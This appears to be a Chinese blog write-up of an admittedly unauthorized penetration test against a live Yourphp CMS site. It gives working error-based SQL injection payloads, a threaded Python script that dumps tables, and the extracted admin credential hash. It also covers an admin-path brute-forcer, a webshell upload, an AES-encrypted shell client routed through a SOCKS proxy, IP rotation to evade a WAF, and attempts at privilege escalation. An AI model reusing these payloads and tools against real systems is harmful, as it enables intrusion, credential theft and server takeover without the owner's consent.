前言
碰到一个久站,对其进行渗透测试(善意)。过程觉得有意思(主要是自己太菜了),就写出来了。
如果各位师傅觉得有什么不对的地方,欢迎指点。
约定
- 保密起见,网站域名假定为:aaa.com
- 本文所有的请求都使用
curl/Python
模拟。 - 用户名都经过胡编乱造处理 >_<
信息采集
这里并没有直接上扫描器,因为不确定是否有WAF,防止封IP。
查看WebServer是什么
curl -X HEAD -i http://aaa.com
HTTP/1.1 200 OK
Date: Sat, 04 Jul 2020 10:38:21 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Pragma: no-cache
Cache-control: private
X-Powered-By: Yourphp
Set-Cookie: PHPSESSID=5261d4d49dc8f19c3fa9651ac60eb0cf; path=/
Set-Cookie: YP_think_language=cn; path=/
X-UA-Compatible: IE=EmulateIE7
Content-Type: text/html; charset=utf-8
意外得到CMS为Yourphp
。
查看同IP网站,发现该IP下有很多网站。这里就不列出来了。
查看该域名的解析记录的历史,只有一次。
暂时得到的信息如下:
- CMS:
Yourphp
- WebServer:
Apache
- 没有更改过域名解析记录
- 同一个IP下面很有多网站
- IP地址归属地为:浙江省杭州市 阿里云
其实前面我一直以为这个站是自己写的,因为下面的Power by aaa
。
看到YourPHP
很开心,这个CMS印象中漏洞挺多的。但是这么老的站还"健在",说明可能有WAF。
测试注入
随手找到一个页面,发现有注入,并且得到:
$ curl http://aaa.com/index.php?m=Article&a=show&id=140'
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\' LIMIT 1' at line 1 [ SQL语句 ] : SELECT * FROM `yphp_content` `a`,`yphp_article` `b` WHERE a.id=b.id AND a.id=140\' LIMIT 1
错误位置
FILE: /data/home/hmu123456/htdocs/Core/Fun/common.php LINE: 79
得到绝对路径: /data/home/hmu123456/htdocs/Core/Fun/common.php
其中用户名为:hmu123456
之后我尝试进行猜字段,又发现一个新的错误。
$ curl http://aaa.com/index.php?m=Article&a=show&id=140 order by 10 %23
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'order by 10# )' at line 1 [ SQL语句 ] : UPDATE `yphp_content` SET `hits`=hits+1 WHERE ( id=140 order by 10# )
错误位置
FILE: /data/home/hmu123456/htdocs/Core/Fun/common.php LINE: 79
这个PHP程序使用了这个字段拼接了两次SQL,一次为SELECT
查询语句,一次为更新当前访问量的UPDATE
语句。
这里我就没什么好的办法了,而且这个UPDATE语句的报错无法绕过。
使用手工报错注入
于是我尝试使用报错注入,先得到后台管理账号密码。
这里我使用的是floor
报错注入方法。
floor
报错注入详细说明请移步:https://www.jianshu.com/p/b35aa2b653df
获取表名
首先要知道当前数据库下有多少个表,构造请求如下:
http://aaa.com/index.php?m=Article&a=show&id=140 and (select 1 from (select count(*), concat((SELECT count(table_name) from information_schema.tables where table_schema=database()), floor(rand(0)*2)) x from information_schema.tables group by x) a)
部分返回结果:
tmp/0:<h1>Duplicate entry '521' for key 'group_key'
返回的结果为52
个表,后面的1
为floor(rand(0)*2)
生成,后面不再赘述。
其实这里面有效的语句是:
(SELECT count(table_name) from information_schema.tables where table_schema=database())
获取内容的地方在concat函数中,后面不在赘述。
等我执行完这个参数之后,我发现我访问不了这个站点了,直接重置连接了。于是我猜想应该是我报错注入被检测到了...
换了一个IP之后,可以正常访问。原来的IP被拉黑了
这里可以猜想一下,这个WAF,在我注入的时候,没有直接拦截,而且等我执行完之后,分析日志,检测到危险关键词,把我拉黑了。
上方由于需要获得52个表,经过我的测试,如果我同时用一个IP发起多个报错注入的请求,大多数的请求都是可以成功的,"动作"稍慢的请求会被拉黑。我们可以把出错的请求筛选出来,再请求一次,基本上就可以得到全部的表名了(苦逼)。
获取表名,代码:
#!/usr/bin/env python
import os
import requests
import threading
threading_list = []
data_path = './tables'
url_tpl = 'http://aaa.com/index.php?m=Article&a=show&id=140 and (select 1 from (select count(*), concat((SELECT table_name from information_schema.tables where table_schema=database() limit {start},{size} ), floor(rand(0)*2)) x from information_schema.tables group by x) a)'
if not os.path.exists(data_path):
os.mkdir(data_path)
def write_response(url, table_id):
try:
filename = os.path.join(data_path, str(table_id))
content = requests.get(url).content
with open(filename, 'w') as e:
e.write(content)
except Exception as e:
print "ERROR: {}, URL: {}".format(repr(e), url)
id_list = range(52) # 52 tables
for table_id in id_list:
url = url_tpl.format(start=table_id, size=1)
t = threading.Thread(target=write_response, args=(url, table_id))
t.start()
threading_list.append(t)
for t in threading_list:
t.join()
得到的表名这里就不展示了。
存账号密码的表名为yphp_user
获取列名
执行请求:
http://aaa.com/index.php?m=Article&a=show&id=140 and extractvalue(0x0a,concat(0x0a,(SELECT group_concat(column_name) from information_schema.columns where table_name=0x797068705f75736572)))
得到部分列名:
XPATH syntax error: ' id,groupid,username,password,em' [ SQL语句 ] : SELECT * FROM `yphp_content` `a`,`yphp_article` `b` WHERE a.id=b.id AND a.id=140 and extractvalue(0x0a,concat(0x0a,(SELECT group_concat(column_name) from information_schema.columns where table_name=0x797068705f75736572))) LIMIT 1
得到最重要的username
、password
说明:单引号和双引号会被过滤,所以使用16进制0x797068705f75736572
代表字符串yphp_user
注意:extractvalue
一类的报错注入,返回的信息都有长度限制,所以使用的时候要注意。
获取账号密码
执行请求:
http://aaa.com/index.php?m=Article&a=show&id=140 and (select 1 from (select count(*), concat((select concat(username, 0x3a, password) from yphp_user limit 0,1 ), floor(rand(0)*2)) x from information_schema.tables group by x) a)
得到账号和加密密码:
Duplicate entry 'admin:3cd2ac74304e9f80f386d0773db1e5ad50dee1ea1' for key 'group_key' [ SQL语句 ] : SELECT * FROM `yphp_content` `a`,`yphp_article` `b` WHERE a.id=b.id AND a.id=140 and (select 1 from (select count(*), concat((select concat(username, 0x3a, password) from yphp_user limit 0,1 ), floor(rand(0)*2)) x from information_schema.tables group by x) a) LIMIT 1
这个密码是admin123
,别问我怎么知道的...
扫后台
我换IP都是通过服务器换的,服务器是Linux(终端),也比较着急,没时间了解Linux上的扫描器,所以自己随手写了一个扫后台的py
脚本,其实就是读取"御剑珍藏版的PHP字典",然后一个个去请求...
#!/usr/env/python
import requests
def check_status(url):
try:
if requests.get(url).status_code == 200:
print 'URL: ', url
except Exception as e:
print "ERROR: {}, URL: {}".format(repr(e), url)
with open('PHP.txt', 'r') as r:
for line in r:
url = 'http://aaa.com/' + line[:-1]
check_status(url)
后台地址为:
/admin.php
Getshell
登录后台之后有上传点,而且还可以修改上传类型(过程没有啥含量,不细说和截图),直接上传一句话,拿菜刀连接,然后IP被封了....
再访问发现一句话还被删了...
另外还在后台发现了一个SMTP的账号密码,这个仔细想了一下,还是没登录。毕竟没授权....
使用冰蝎一句话
我从Github下下来的v2.0.1
版本的客户端和shell,传上去之后报错说没有openssl_encrypto
函数。
于是我再Github上找了一个纯PHP实现的AES-128-CBC的库,整理了一下,传了上去(脚本比较简单我就不传了)。
等我全部配置好了,我用冰蝎的客户端去连接我的SHELL,结果客户端崩溃了...
崩溃原因我没查到,我在自己的测试环境上传马也是崩溃,既然这么不好用...不如自己先写一个简单的好了。代码如下:
#!/usr/bin/env python
import os
import sys
import requests
from base64 import b64encode, b64decode
from base64 import b64encode, b64decode
from M2Crypto.EVP import Cipher
filename = sys.argv[1]
if not os.path.exists(filename):
print('FILE: {} does not exsists'.format(filename))
# AES crypto functions
ENC=1
DEC=0
def build_cipher(key, iv, op=ENC):
""""""""
return Cipher(alg='aes_128_cbc', key=key, iv=iv, op=op)
def encryptor(key, iv=None):
""""""
# Decode the key and iv
key = b64decode(key)
if iv is None:
iv = '\0' * 16
else:
iv = b64decode(iv)
# Return the encryption function
def encrypt(data):
cipher = build_cipher(key, iv, ENC)
v = cipher.update(data)
v = v + cipher.final()
del cipher
v = b64encode(v)
return v
return encrypt
def decryptor(key, iv=None):
""""""
# Decode the key and iv
key = b64decode(key)
if iv is None:
iv = '\0' * 16
else:
iv = b64decode(iv)
# Return the decryption function
def decrypt(data):
data = b64decode(data)
cipher = build_cipher(key, iv, DEC)
v = cipher.update(data)
v = v + cipher.final()
del cipher
return v
return decrypt
# request codes
url = 'http://aaa.com/Uploads/config/xxxx.php'
post = requests.Session()
post.proxies = {
'http': 'socks5://192.168.1.108:2080',
'https': 'socks5://192.168.1.108:2080',
}
params = {
'pass': '123',
}
key = post.post(url, params=params).content
key = b64encode(key.strip())
with open(filename, 'r') as r:
payload = '|' + r.read()
payload = encryptor(key)(payload)
data = post.post(url, data=payload)
print data.content
说明:关于这个代码,我使用Python的crypto
尝试加密AES-128-CBC
,结果Python同样的参数得到的结果和openssl的结果不一样,openssl和PHP是一样的结果,但是就Python的结果不一样,后面换了M2Crypto
解决这个问题了。希望大佬们可以解答下我的这个问题。
尝试提权
查看phpinfo
发现禁了好多函数,如下:
chmod, exec, system, passthru, shell_exec, escapeshellarg, escapeshellcmd, proc_close, proc_open, ini_alter, dl, popen, pcntl_exec, socket_accept, socket_bind, socket_clear_error, socket_close, socket_connect, socket_create_listen, socket_create_pair, socket_create, socket_get_option, socket_getpeername, socket_getsockname, socket_last_error, socket_listen, socket_read, socket_recv, socket_recvfrom, socket_select, socket_send, socket_sendto, socket_set_block, socket_set_nonblock, socket_set_option, socket_shutdown, socket_strerror, socket_write, stream_socket_client, stream_socket_server, pfsockopen, disk_total_space, disk_free_space, chown, diskfreespace, getrusage, get_current_user, getmyuid, getmypid, dl, leak, listen, chgrp, link, symlink, dlopen, proc_nice, proc_get_stats, proc_terminate, shell_exec, sh2_exec, posix_getpwuid, posix_getgrgid, posix_kill, ini_restore, mkfifo, dbmopen, dbase_open, filepro, filepro_rowcount, posix_mkfifo, putenv, sleep chmod, exec, system, passthru, shell_exec, escapeshellarg, escapeshellcmd, proc_close, proc_open, ini_alter, dl, popen, pcntl_exec, socket_accept, socket_bind, socket_clear_error, socket_close, socket_connect, socket_create_listen, socket_create_pair, socket_create, socket_get_option, socket_getpeername, socket_getsockname, socket_last_error, socket_listen, socket_read, socket_recv, socket_recvfrom, socket_select, socket_send, socket_sendto, socket_set_block, socket_set_nonblock, socket_set_option, socket_shutdown, socket_strerror, socket_write, stream_socket_client, stream_socket_server, pfsockopen, disk_total_space, disk_free_space, chown, diskfreespace, getrusage, get_current_user, getmyuid, getmypid, dl, leak, listen, chgrp, link, symlink, dlopen, proc_nice, proc_get_stats, proc_terminate, shell_exec, sh2_exec, posix_getpwuid, posix_getgrgid, posix_kill, ini_restore, mkfifo, dbmopen, dbase_open, filepro, filepro_rowcount, posix_mkfifo, putenv, sleep
晕~太多了... 最致命的是禁了putenv
连命令都执行不了,试了试几个知道的办法,都没成功,后面有时间在研究下。
整理后的信息如下:
域名:aaa.com
IP: 1.1.1.1 #can't tell you
数据库:MySQL
数据库版本:5.1.48-log
绝对路径:/data/home/hmu123456/htdocs/Core/Fun/common.php
后台地址:http://aaa.com/admin.php
PHP版本:5.2.17
Linux版本:System Linux hmu-054 2.6.18-243.el5 #1 SMP Mon Feb 7 18:47:27 EST 2011 x86_64
PHP.ini: Configuration File (php.ini) Path /var/www/php5/lib
Loaded Configuration File: /var/www/php5/hichina_ini/hmu123456/php.ini
allow_url_include: Off
尝试修改/var/www/php5/hichina_ini/hmu123456/php.ini
没有权限...
查看/data/home/hmu123456目录下的内容,执行上面写的一句话客户端脚本:
python shell.py payload/list-dir.php
返回结果:
filename: backup : filetype: dir
filename: cgi-bin : filetype: dir
filename: htdocs : filetype: dir
filename: ftplogs : filetype: dir
filename: wwwlogs : filetype: dir
filename: .bash_profile : filetype: file
filename: myfolder : filetype: dir
filename: Readme_�ļ��й�����.txt : filetype: file
filename: .zshrc : filetype: file
filename: .emacs : filetype: file
filename: auth : filetype: dir
filename: . : filetype: dir
filename: .. : filetype:
filename: .mozilla : filetype: dir
filename: .bash_logout : filetype: file
filename: .bashrc : filetype: file
利用.bash_profile
、.zshrc
、bash_logout
是可以执行命令的,这个管理员啥时候登录都搞不清楚...
最后
连命令执行的限制都没突破,这块应该可以想办法突破的。希望各位大佬们可以给点意见...
其实整个过程下来其实没必要这么麻烦的,比如表和字段名,直接找一套试一下就好了。其实我是为了锻炼一下自己的"能力"。
另外,这个环境当中PHP不支持openssl_encrypto
函数,但是是有M2Crypto
可以调用的,当时没注意...也就是没必要费那个力气使用那个完全PHP实现加密库来做。
还有那个后台密码是弱口令,admin123
为什么自己不试一下....非要装逼跑注入。